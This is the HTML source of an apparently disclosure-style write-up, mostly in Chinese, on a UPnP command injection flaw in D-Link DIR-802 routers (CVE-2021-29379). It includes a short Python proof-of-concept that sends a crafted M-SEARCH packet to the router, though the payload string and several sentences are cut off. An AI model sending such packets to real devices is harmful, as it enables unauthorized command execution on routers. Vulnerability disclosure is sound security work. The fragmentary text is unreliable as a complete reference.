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< h3 id = "D-LINK-DIR-802-命令注入漏洞" > < a href = "#D-LINK-DIR-802-命令注入漏洞" class = "headerlink" title = "D-LINK DIR-802 命令注入漏洞" > < / a > D-LINK DIR-802 命令注入漏洞< / h3 > < blockquote >
< p > by Cool< / p >
< / blockquote >
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< h4 id = "漏洞已提交厂商" > < a href = "#漏洞已提交厂商" class = "headerlink" title = "漏洞已提交厂商" > < / a > 漏洞已提交厂商< / h4 > < p > < a href = "https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10206" target = "_blank" rel = "noopener" > https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10206< / a > < br > < a href = "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29379" target = "_blank" rel = "noopener" > https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29379< / a > < / p >
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< h4 id = "漏洞类型" > < a href = "#漏洞类型" class = "headerlink" title = "漏洞类型" > < / a > 漏洞类型< / h4 > < p > CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘ ’ < / p >
< h4 id = "受影响设备及软件版本" > < a href = "#受影响设备及软件版本" class = "headerlink" title = "受影响设备及软件版本" > < / a > 受影响设备及软件版本< / h4 > < p > DIR-802 hardware revision Ax before v1.00b05< br > < a href = "https://pmdap.dlink.com.tw/PMD/GetAgileFile?itemNumber=FIR1300450&fileName=DIR802_FW100b05.zip&fileSize=6163759.0" target = "_blank" rel = "noopener" > https://pmdap.dlink.com.tw/PMD/GetAgileFile?itemNumber=FIR1300450& fileName=DIR802_FW100b05.zip& fileSize=6163759.0< / a > ;< / p >
< h4 id = "漏洞概要" > < a href = "#漏洞概要" class = "headerlink" title = "漏洞概要" > < / a > 漏洞概要< / h4 > < p > DIR-802中存在一个命令注入漏洞， < / p >
< h4 id = "漏洞详情" > < a href = "#漏洞详情" class = "headerlink" title = "漏洞详情" > < / a > 漏洞详情< / h4 > < p > 与CVE-2020-15893相似， ， （ ） （ ） < / p >
< h4 id = "POC" > < a href = "#POC" class = "headerlink" title = "POC" > < / a > POC< / h4 > < figure class = "highlight python" > < table > < tr > < td class = "gutter" > < pre > < span class = "line" > 1< / span > < br > < span class = "line" > 2< / span > < br > < span class = "line" > 3< / span > < br > < span class = "line" > 4< / span > < br > < span class = "line" > 5< / span > < br > < span class = "line" > 6< / span > < br > < span class = "line" > 7< / span > < br > < span class = "line" > 8< / span > < br > < / pre > < / td > < td class = "code" > < pre > < span class = "line" > < span class = "comment" > # coding: utf-8< / span > < / span > < br > < span class = "line" > < span class = "keyword" > import< / span > socket< / span > < br > < span class = "line" > < span class = "keyword" > import< / span > struct< / span > < br > < span class = "line" > buf = < span class = "string" > 'M-SEARCH * HTTP/1.1\r\nHOST:192.168.0.1:1900\r\nST:urn:schemas-upnp-org:service< / span > < / span > < br > < span class = "line" > < span class = "string" > s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)< / span > < / span > < br > < span class = "line" > < span class = "string" > s.connect(("192.168.0.1", 1900))< / span > < / span > < br > < span class = "line" > < span class = "string" > s.send(buf)< / span > < / span > < br > < span class = "line" > < span class = "string" > s.close()< / span > < / span > < br > < / pre > < / td > < / tr > < / table > < / figure >
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< h4 id = "漏洞复现" > < a href = "#漏洞复现" class = "headerlink" title = "漏洞复现" > < / a > 漏洞复现< / h4 > < p > 使用firmadyne进行固件模拟， < br > < img src = "https://res.cloudinary.com/dozyfkbg3/image/upload/v1614665628/cve/carbon.png" > < / p >
< p > 攻击者可以是连接到路由器局域网内并且能够向UPnP端口发送请求的任何人。可以通过编写简单的python脚本将精心制作的数据包发送到特定的upnp端口， < br > < img src = "https://res.cloudinary.com/dozyfkbg3/image/upload/v1614665899/cve/carbon_1.png" > < / p >
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